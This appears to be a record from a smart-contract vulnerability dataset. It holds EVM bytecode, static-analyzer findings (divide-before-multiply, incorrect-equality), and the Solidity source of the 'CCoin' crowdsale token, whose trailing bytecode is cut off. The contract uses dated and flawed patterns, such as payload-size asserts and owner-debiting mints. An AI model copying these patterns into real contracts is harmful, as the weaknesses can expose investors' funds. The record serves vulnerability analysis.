6e64000000000000000000604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561077c57600080fd5b505af1158015610790573d6000803e3d6000fd5b505050506040513d60208110156107a657600080fd5b50516107f0576040805162461bcd60e51b81526020600482015260146024820152734572726f722073656e64696e6720746f6b656e7360601b604482015290519081900360640190fd5b50565b60095481565b6002546001600160a01b031681565b6000546001600160a01b031681565b600060075411801561082f575060075462278d000142115b61086a5760405162461bcd60e51b8152600401808060200182810382526043815260200180610b506043913960600191505060405180910390fd5b33600090815260086020526040902054806108c4576040805162461bcd60e51b81526020600482015260156024820152741b9bdd1a1a5b99c81d1bc818994818db185a5b5959605a1b604482015290519081900360640190fd5b336000818152600860209081526040808320839055600254815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b15801561077c57600080fd5b6008602052600090815260409020805460019091015482565b6000546001600160a01b03163314610999576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600080546040516001600160a01b039091169183156108fc02918491818181858888f193505050501580156109d2573d6000803e3d6000fd5b50600a546109e0908261055c565b600a5550565b6000546001600160a01b03163314610a3d576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b6001600160a01b038116610a8a576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600082610ae4575060006104e4565b82820282848281610af157fe5b04146105b65760405162461bcd60e51b8152600401808060200182810382526021815260200180610b2f6021913960400191505060405180910390fdfe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7750726573616c6520746f6b656e732061726520617661696c61626c6520746f20776974686472617720333020646179732061667465722070726573616c6520656e6473a26469706673582212200331ad36249007954fc5a3919e9ecfacfae8d0a9893f2799788bcd762006ef4464736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,048 |
0x80e485fc993ffb0e72f00484f8a404a06b50c895
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) balances;
/**
* Protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function changeOwner(address _newOwner) onlyOwner internal {
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
string public constant name = "CCoin";
string public constant symbol = "CCN";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) {
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Mint(_to, _amount);
Transfer(_owner, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint internal returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens(address _token) public onlyOwner {
//function claimTokens(address _token) public { //for test
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
MintableToken token = MintableToken(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
Transfer(_token, owner, balance);
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale is Ownable {
using SafeMath for uint256;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public tokenAllocated;
function Crowdsale(
address _wallet
)
public
{
require(_wallet != address(0));
wallet = _wallet;
}
}
contract CCNCrowdsale is Ownable, Crowdsale, MintableToken {
using SafeMath for uint256;
//$0.25 = 1 token => $ 1,000 = 2.50287204567 ETH =>
//4,000 token = 2.50287204567 ETH => 1 ETH = 4,000/2.08881106 = 1915
uint256 public rate = 1915;
mapping (address => uint256) public deposited;
mapping(address => bool) public whitelist;
// List of admins
mapping (address => bool) public contractAdmins;
mapping (address => bool) approveAdmin;
uint256 public constant INITIAL_SUPPLY = 90 * (10 ** 6) * (10 ** uint256(decimals));
uint256 public fundForSale = 81 * (10 ** 6) * (10 ** uint256(decimals));
uint256 public fundForTeam = 9 * (10 ** 6) * (10 ** uint256(decimals));
uint256 public fundPreIco = 27 * (10 ** 6) * (10 ** uint256(decimals));
uint256 public fundIco = 54 * (10 ** 6) * (10 ** uint256(decimals));
address[] public admins = [ 0x2fDE63cE90FB00C51f13b401b2C910D90c92A3e6,
0x5856FCDbD2901E8c7d38AC7eb0756F7B3669eC67,
0x4c1310B5817b74722Cade4Ee33baC83ADB91Eabc];
uint256 public countInvestor;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
function CCNCrowdsale (
address _owner
)
public
Crowdsale(_owner)
{
require(_owner != address(0));
owner = _owner;
//owner = msg.sender; //for test's
transfersEnabled = true;
mintingFinished = false;
totalSupply = INITIAL_SUPPLY;
bool resultMintForOwner = mintForOwner(owner);
require(resultMintForOwner);
for(uint i = 0; i < 3; i++) {
contractAdmins[admins[i]] = true;
}
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address _investor) public onlyWhitelist payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
if (deposited[_investor] == 0) {
countInvestor = countInvestor.add(1);
}
deposit(_investor);
wallet.transfer(weiAmount);
return tokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal view returns (uint256) {
uint256 currentDate = now;
//currentDate = 1527379200; //for test's
uint256 currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
uint256 checkAmount = 0;
if(currentPeriod < 3){
if(whitelist[msg.sender]){
amountOfTokens = _weiAmount.mul(rate);
return amountOfTokens;
}
amountOfTokens = _weiAmount.mul(rate);
checkAmount = tokenAllocated.add(amountOfTokens);
if (currentPeriod == 0) {
if (checkAmount > fundPreIco){
amountOfTokens = 0;
}
}
if (currentPeriod == 1) {
if (checkAmount > fundIco){
amountOfTokens = 0;
}
}
}
return amountOfTokens;
}
function getPeriod(uint256 _currentDate) public pure returns (uint) {
//1525737600 - May, 08, 2018 00:00:00 && 1527379199 - May, 26, 2018 23:59:59
//1527379200 - May, 27, 2018 00:00:00 && 1530143999 - Jun, 27, 2018 23:59:59
//1530489600 - Jul, 02, 2018 00:00:00
if( 1525737600 <= _currentDate && _currentDate <= 1527379199){
return 0;
}
if( 1527379200 <= _currentDate && _currentDate <= 1530143999){
return 1;
}
if( 1530489600 <= _currentDate){
return 2;
}
return 10;
}
function deposit(address investor) internal {
deposited[investor] = deposited[investor].add(msg.value);
}
function mintForOwner(address _wallet) internal returns (bool result) {
result = false;
require(_wallet != address(0));
balances[_wallet] = balances[_wallet].add(INITIAL_SUPPLY);
result = true;
}
function getDeposited(address _investor) external view returns (uint256){
return deposited[_investor];
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (tokenAllocated.add(addTokens) > fundForSale) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function setRate(uint256 _newRate) public approveAllAdmin returns (bool){
require(_newRate > 0);
rate = _newRate;
removeAllApprove();
return true;
}
/**
* @dev Add an contract admin
*/
function setContractAdmin(address _admin, bool _isAdmin, uint _index) external onlyOwner {
require(_admin != address(0));
require(0 <= _index && _index < 3);
contractAdmins[_admin] = _isAdmin;
if(_isAdmin){
admins[_index] = _admin;
}
}
modifier approveAllAdmin() {
bool result = true;
for(uint i = 0; i < 3; i++) {
if (approveAdmin[admins[i]] == false) {
result = false;
}
}
require(result == true);
_;
}
function removeAllApprove() public approveAllAdmin {
for(uint i = 0; i < 3; i++) {
approveAdmin[admins[i]] = false;
}
}
function setApprove(bool _isApprove) external onlyOwnerOrAnyAdmin {
approveAdmin[msg.sender] = _isApprove;
}
/**
* @dev Adds single address to whitelist.
* @param _beneficiary Address to be added to the whitelist
*/
function addToWhitelist(address _beneficiary) external onlyOwnerOrAnyAdmin {
whitelist[_beneficiary] = true;
}
/**
* @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing.
* @param _beneficiaries Addresses to be added to the whitelist
*/
function addManyToWhitelist(address[] _beneficiaries) external onlyOwnerOrAnyAdmin {
require(_beneficiaries.length < 101);
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
/**
* @dev Removes single address from whitelist.
* @param _beneficiary Address to be removed to the whitelist
*/
function removeFromWhitelist(address _beneficiary) external onlyOwnerOrAnyAdmin {
whitelist[_beneficiary] = false;
}
modifier onlyOwnerOrAnyAdmin() {
require(msg.sender == owner || contractAdmins[msg.sender]);
_;
}
modifier onlyWhitelist() {
require(whitelist[msg.sender]);
_;
}
}
|
0x6060604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101fa57806306fdde0314610227578063095ea7b3146102b557806314619c7f1461030f57806314bfd6d01461035c57806318160ddd146103bf57806323b872dd146103e85780632c4e722e146104615780632ff2e9dc1461048a578063313ce567146104b357806334fcf437146104e25780634042b66f1461051d578063466bb312146105465780634b2c070614610593578063521eb273146105ca578063661884631461061f57806370a082311461067957806378f7aeee146106c65780638ab1d681146106ef5780638c10671c146107285780638da5cb5b14610756578063916576c8146107ab57806395d89b41146107d45780639b19251a14610862578063a9059cbb146108b3578063aa1199ea1461090d578063b5caf46114610932578063bc09b5ec14610947578063bd8d34f514610970578063bef97c8714610999578063cb13cddb146109c6578063d1e2eb5e14610a13578063d73dd62314610a3c578063dd62ed3e14610a96578063df8de3e714610b02578063e43252d714610b3b578063ec8ac4d814610b74578063f6f3973f14610bb6578063f80f12f814610bdf578063fc38ce1914610c30575b6101f733610c67565b50005b341561020557600080fd5b61020d610eb0565b604051808215151515815260200191505060405180910390f35b341561023257600080fd5b61023a610ec3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027a57808201518184015260208101905061025f565b50505050905090810190601f1680156102a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102c057600080fd5b6102f5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610efc565b604051808215151515815260200191505060405180910390f35b341561031a57600080fd5b61035a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091908035906020019091905050610fee565b005b341561036757600080fd5b61037d600480803590602001909190505061115e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103ca57600080fd5b6103d261119d565b6040518082815260200191505060405180910390f35b34156103f357600080fd5b610447600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111a3565b604051808215151515815260200191505060405180910390f35b341561046c57600080fd5b610474611596565b6040518082815260200191505060405180910390f35b341561049557600080fd5b61049d61159c565b6040518082815260200191505060405180910390f35b34156104be57600080fd5b6104c66115ad565b604051808260ff1660ff16815260200191505060405180910390f35b34156104ed57600080fd5b61050360048080359060200190919050506115b2565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b6105306116aa565b6040518082815260200191505060405180910390f35b341561055157600080fd5b61057d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116b0565b6040518082815260200191505060405180910390f35b341561059e57600080fd5b6105b460048080359060200190919050506116f9565b6040518082815260200191505060405180910390f35b34156105d557600080fd5b6105dd611767565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062a57600080fd5b61065f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061178d565b604051808215151515815260200191505060405180910390f35b341561068457600080fd5b6106b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a1e565b6040518082815260200191505060405180910390f35b34156106d157600080fd5b6106d9611a67565b6040518082815260200191505060405180910390f35b34156106fa57600080fd5b610726600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a6d565b005b341561073357600080fd5b61075460048080359060200190820180359060200191909192905050611b78565b005b341561076157600080fd5b610769611ce0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107b657600080fd5b6107be611d06565b6040518082815260200191505060405180910390f35b34156107df57600080fd5b6107e7611d0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561082757808201518184015260208101905061080c565b50505050905090810190601f1680156108545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561086d57600080fd5b610899600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d45565b604051808215151515815260200191505060405180910390f35b34156108be57600080fd5b6108f3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611d65565b604051808215151515815260200191505060405180910390f35b341561091857600080fd5b61093060048080351515906020019091905050611fbd565b005b341561093d57600080fd5b6109456120c7565b005b341561095257600080fd5b61095a612248565b6040518082815260200191505060405180910390f35b341561097b57600080fd5b61098361224e565b6040518082815260200191505060405180910390f35b34156109a457600080fd5b6109ac612254565b604051808215151515815260200191505060405180910390f35b34156109d157600080fd5b6109fd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612267565b6040518082815260200191505060405180910390f35b3415610a1e57600080fd5b610a2661227f565b6040518082815260200191505060405180910390f35b3415610a4757600080fd5b610a7c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612285565b604051808215151515815260200191505060405180910390f35b3415610aa157600080fd5b610aec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612481565b6040518082815260200191505060405180910390f35b3415610b0d57600080fd5b610b39600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612520565b005b3415610b4657600080fd5b610b72600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061283b565b005b610ba0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c67565b6040518082815260200191505060405180910390f35b3415610bc157600080fd5b610bc9612946565b6040518082815260200191505060405180910390f35b3415610bea57600080fd5b610c16600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061294c565b604051808215151515815260200191505060405180910390f35b3415610c3b57600080fd5b610c51600480803590602001909190505061296c565b6040518082815260200191505060405180910390f35b6000806000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cc457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610d0057600080fd5b349150610d0c8261296c565b90506000811415610d1c57600080fd5b610d31826008546129ec90919063ffffffff16565b600881905550610d4c816009546129ec90919063ffffffff16565b600981905550610d7f8482600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612a0a565b508373ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a26000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610e3b57610e3460016015546129ec90919063ffffffff16565b6015819055505b610e4484612c10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610ea657600080fd5b8092505050919050565b600a60009054906101000a900460ff1681565b6040805190810160405280600581526020017f43436f696e00000000000000000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561104a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561108657600080fd5b806000111580156110975750600381105b15156110a257600080fd5b81600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508115611159578260148281548110151561110f57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505050565b60148181548110151561116d57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600060036004602082020160003690501415156111bc57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156111f857600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561124657600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156112d157600080fd5b600360009054906101000a900460ff1615156112ec57600080fd5b61133e83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a583600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca890919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600b5481565b601260ff16600a0a63055d4a800281565b601281565b600080600060019150600090505b600381101561166e5760001515600f60006014848154811015156115e057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561166157600091505b80806001019150506115c0565b6001151582151514151561168157600080fd5b60008411151561169057600080fd5b83600b8190555061169f6120c7565b600192505050919050565b60085481565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600081635af0e880111580156117135750635b09f4ff8211155b156117215760009050611762565b81635b09f500111580156117395750635b3424ff8211155b156117475760019050611762565b81635b396b0011151561175d5760029050611762565b600a90505b919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561189e576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611932565b6118b18382612ca890919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60095481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b125750600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611b1d57600080fd5b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611c1f5750600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611c2a57600080fd5b606583839050101515611c3c57600080fd5b600090505b82829050811015611cdb576001600d60008585858181101515611c6057fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611c41565b505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b6040805190810160405280600381526020017f43434e000000000000000000000000000000000000000000000000000000000081525081565b600d6020528060005260406000206000915054906101000a900460ff1681565b60006002600460208202016000369050141515611d7e57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611dba57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611e0857600080fd5b600360009054906101000a900460ff161515611e2357600080fd5b611e7583600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca890919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0a83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16